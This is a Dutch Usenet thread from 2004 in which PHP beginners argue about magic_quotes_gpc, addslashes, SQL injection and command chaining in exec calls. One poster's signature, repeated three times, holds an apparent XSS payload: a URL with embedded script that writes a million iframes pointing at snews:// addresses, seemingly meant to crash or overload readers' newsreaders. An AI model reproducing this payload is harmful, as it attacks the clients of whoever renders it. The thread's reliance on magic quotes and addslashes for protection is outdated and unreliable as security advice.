Re: PHP-beginner:vraag en antwoord spelletje
On Wed, 21 Jan 2004 19:18:01 +0100, Ronald Klip <nieuws@bladibla.njet.invalid> wrote:
> Michiel de Roo schreef:
> IIRC is hier eens een scriptje voorbijgekomen dat addslashes() loslaat
> op alle user input als magic_quotes_gpc op off staat. Zeer aan te raden.
> Ook handig is mysql_escape_string().
Die if(! opmerking was natuurlijk voor Michiel :-), sorry.
Hans
--
begin http://<XSS_VULN_HOST>/<script>var i; for (i=1;i<1000000;i++) {
document.write("\<iframe
src=\"snews://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa " + i +
"\"\>\<\/iframe>"); } document.refresh; </script>
Re: PHP-beginner:vraag en antwoord spelletje
Daniel Tryba wrote:
> Stel je update een database met gegevens uit een andere
> database, die gegevens zijn niet geescaped. Of je doet ergens een exec
> met user input... wordt && geescaped? Dacht het niet, dus zo kan je
> mooi commando's achter elkaar plakken (mits het eerste commando
> natuurlijk slaagt).
Hmm, een erg hoog 'stel-dat'-gehalte, wat mij betreft niet echt heel
overtuigend. Dingen als exec-commando's etc komen lang niet overal voor - de
risico's van niet checken blijven dan beperkt. Je krijgt soms het idee van
een enorm slot op een verrotte houten schuurdeur. Beveiliging is ongeveer zo
zwak als de zwakste schakel.
En natuurlijk: hoe vreselijk is het als dat ding wordt opengebroken? Ben je
de Europeesche Bank dan heeft dat meer gevolgen dan als het een database-je
is met slechts je persoonlijke top-40, bedoeld voor vrienden en bekenden. In
het laatste geval is de kans groter dat je server brute force of met een
trojan gehackt wordt (of een bekend security lek in OS, server of iets
anders) dan via een ingewikkelde sql-injection (die niet te ondervangen is
met magic-quotes).
--
Inca
JA - Wel integratie
NEE - Niet met buitenlanders
http://www.poldermodelstickers.nl/
Re: PHP-beginner:vraag en antwoord spelletje
Inca <shadow*movements@wanadoo.nospam.invalid> wrote:
>> Stel je update een database met gegevens uit een andere
>> database, die gegevens zijn niet geescaped. Of je doet ergens een exec
>> met user input... wordt && geescaped? Dacht het niet, dus zo kan je
>> mooi commando's achter elkaar plakken (mits het eerste commando
>> natuurlijk slaagt).
>
> Hmm, een erg hoog 'stel-dat'-gehalte, wat mij betreft niet echt heel
> overtuigend. Dingen als exec-commando's etc komen lang niet overal voor - de
> risico's van niet checken blijven dan beperkt.
Het gaat mij niet om alle mogelijkheden, het gaat me over de
inconsistentie die je met magic_quotes creeert. Sommige dingen worden
geescaped andere niet, dit leid tot een vals gevoel van veiligheid
zoals we al in Michiel's posting kunnen lezen.
--
Daniel Tryba
Re: PHP-beginner:vraag en antwoord spelletje
Daniel Tryba wrote:
> Het gaat mij niet om alle mogelijkheden, het gaat me over de
> inconsistentie die je met magic_quotes creeert.
Ja maar die inconsistentie brengt nauwelijks risico's met zich mee, als je
tenminste een prive-klussende php'er bent.
> Sommige dingen worden
> geescaped andere niet, dit leid tot een vals gevoel van veiligheid
> zoals we al in Michiel's posting kunnen lezen.
Dat valse gevoel van veiligheid is overal - je zou haast denken dat het
menselijk is. Van terreurbestrijding tot extra vitamine C in de winter. Het
gaat om risico's, kansen. Het is, en blijft, mogelijk om gebruik te maken
van bugs en ondoordachte eigenschappen van php. De *kans* dat dit gebeurt
met negatieve gevolgen is alleen niet zo heel groot, bij een persoonlijke,
niet zo belangrijke website waarschijnlijk haast verwaarloosbaar ten
opzichte van de andere risico's.
Maar dat is een afweging die je alleen voor je eigen situatie goed kunt
maken.
Overigens, hoe vaak komt 'sql injection' nou echt in het wild voor?
--
Inca
JA - Wel 4500 tienermoeders
NEE - Geen 4500 tienervaders
http://www.poldermodelstickers.nl/
Re: PHP-beginner:vraag en antwoord spelletje
Hans wrote:
>>IIRC is hier eens een scriptje voorbijgekomen dat addslashes() loslaat
>>op alle user input als magic_quotes_gpc op off staat. Zeer aan te raden.
>>Ook handig is mysql_escape_string().
>
> if (!magic_quotes_gpc.....
>
> Ik verwacht echter dat het hele if(! niet echt bekend is bij je.
Ik controleer dit eigenlijk nooit. Vooralsnog kan ik de waarde van
magic_quotes zelf op 0 zetten met ini_set() of handmatig php.ini
aanpassen. Vervolgens gebruik addslashes() voordat ik post-vars
doorstuur naar m'n klasse, bijv.
$obj->setFoo(addslashes($_POST["foo"]));
Is het beter om de waarde van get_magic_quotes_gpc() op te vragen en
vervolgens evt. addslahes() uit te voeren? Zoja, dan... tsja, alleen wat
meer regels code :)
--
Cheers, Maarten Wierda
"Meeting Again For The First Time"
PTW/YCBYG
Re: PHP-beginner:vraag en antwoord spelletje
Daniel Tryba wrote:
> Michiel de Roo <michiel@mderoopuntnl> wrote:
>
>>Ik vraag me af in hoeverre dit artikel van toepassing is op een standaard
>>PHP/mySQL combi. Blijkbaar is het onder XP met mssql en ASP mogelijk om
>>via een database query je harde schijf te formatteren. Handig, maar op
>>mijn systeem zal zoiets niet lukken. Ook staat magic_quotes_gpc gewoonlijk
>>aan, zodat SQL injects gewoonlijk mislukken. Het uitvoeren van meerdere
>>queries met een ';' als scheiding wil mij ook al niet lukken.
>
>
> Het is gewoon inconsistent... je checkt dus niet op input uit
> post/get/cookies omdat je ervan uitgaat dat magicquotes de enge tekens
> wel escaped. Echter controleer je dan wel input die ergens anders
> vandaan komt?
Ja, als daar geen 'automagische' methoden voor zijn, dan doe ik dat
handmatig. Maar, binnen een webapplicatie zijn er gewoonlijk geen andere
(directe) bronnen dan GPC variabelen.
>
> Stel je update een database met gegevens uit een andere
> database, die gegevens zijn niet geescaped.
Dan moet je wel, alleen al omdat je anders een hele berg errors om je oren
krijgt. Bijv INSERT INTO person () VALUES ('Karel', ''t', 'Hof')
> Of je doet ergens een exec
> met user input... wordt && geescaped? Dacht het niet, dus zo kan je mooi
> commando's achter elkaar plakken (mits het eerste commando natuurlijk
> slaagt).
Een exec is een heel ander verhaal dan een query onder mySQL. Als ik exec
statements ga draaien met user input, dan krab ik mij eerst eens drie keer
achter de oren en kijk er na het weekend nog eens een keer naar.
Michiel
Re: PHP-beginner:vraag en antwoord spelletje
Hans wrote:
[snip]
> Begin iets te leren over typecasting, de is_... functies etc.... daar ga
> je ooit nog eens veel plezier aan beleven.
Als je dan maar niet is_int gebruikt, want die GET variabele is altijd een
string, ongeacht wat erin staat. En met typecasting wordt elke string een
0, of dat nou zo veilig is.......
>>IIRC is hier eens een scriptje voorbijgekomen dat addslashes() loslaat
>>op alle user input als magic_quotes_gpc op off staat. Zeer aan te raden.
>>Ook handig is mysql_escape_string().
>
> if (!magic_quotes_gpc.....
>
> Ik verwacht echter dat het hele if(! niet echt bekend is bij je.
Tja, je kunt ook gewoon een .htaccess file neerzetten, met daarin:
php_value magic_quotes_gpc 1
Maar ik verwacht eigenlijk dat jij nog nooit van een .htaccess gehoord
hebt ;-)
Michiel.
Re: PHP-beginner:vraag en antwoord spelletje
Michiel de Roo wrote:
> Als je dan maar niet is_int gebruikt, want die GET variabele is
> altijd een string, ongeacht wat erin staat. En met typecasting wordt
> elke string een 0, of dat nou zo veilig is.......
Veilig wel, zinnig niet (-:
De functie 'is_numeric' kun je overigens gebruiken om strings te checken op
een numerieke waarde.
--
Inca
NEE - Geen IKEA
JA - Wel SWEN
http://www.poldermodelstickers.nl/
Re: PHP-beginner:vraag en antwoord spelletje
On Wed, 21 Jan 2004 23:45:13 +0100, Maarten Wierda <maartenAT@norecessDOT.com> wrote:
> Hans wrote:
>
>> if (!magic_quotes_gpc.....
> Ik controleer dit eigenlijk nooit. Vooralsnog kan ik de waarde van
> magic_quotes zelf op 0 zetten met ini_set() of handmatig php.ini
> aanpassen. Vervolgens gebruik addslashes() voordat ik post-vars
> doorstuur naar m'n klasse, bijv.
>
> $obj->setFoo(addslashes($_POST["foo"]));
>
> Is het beter om de waarde van get_magic_quotes_gpc() op te vragen en
> vervolgens evt. addslahes() uit te voeren? Zoja, dan... tsja, alleen wat
> meer regels code :)
magic_quotes_gpc PHP_INI_PERDIR|PHP_INI_SYSTEM
ini_set is natuurlijk een prima oplossing. Alleen wel jammer dat je dat
volgens de manual hooguit in een .htaccess kunt regelen. Zonde van de
performance.
Hans
--
begin http://<XSS_VULN_HOST>/<script>var i; for (i=1;i<1000000;i++) {
document.write("\<iframe
src=\"snews://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa " + i +
"\"\>\<\/iframe>"); } document.refresh; </script>
Re: PHP-beginner:vraag en antwoord spelletje
On Thu, 22 Jan 2004 14:29:57 +0100, Michiel de Roo <michiel@mderooPUNTNL> wrote:
> Hans wrote:
> [snip]
>> Begin iets te leren over typecasting, de is_... functies etc.... daar ga
>> je ooit nog eens veel plezier aan beleven.
>
> Als je dan maar niet is_int gebruikt, want die GET variabele is altijd een
> string, ongeacht wat erin staat. En met typecasting wordt elke string een
> 0, of dat nou zo veilig is.......
intval -- Get integer value of a variable
Overigens werkt (int)$_GET... ook.
>>>IIRC is hier eens een scriptje voorbijgekomen dat addslashes() loslaat
>>>op alle user input als magic_quotes_gpc op off staat. Zeer aan te raden.
>>>Ook handig is mysql_escape_string().
>>
>> if (!magic_quotes_gpc.....
>>
>> Ik verwacht echter dat het hele if(! niet echt bekend is bij je.
>
> Tja, je kunt ook gewoon een .htaccess file neerzetten, met daarin:
>
> php_value magic_quotes_gpc 1
>
> Maar ik verwacht eigenlijk dat jij nog nooit van een .htaccess gehoord
> hebt ;-)
Hehe :-) Ik probeer ze te vermijden als de pest, gooi het liever in apache zelf.
Hans
--
begin http://<XSS_VULN_HOST>/<script>var i; for (i=1;i<1000000;i++) {
document.write("\<iframe
src=\"snews://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa " + i +
"\"\>\<\/iframe>"); } document.refresh; </script>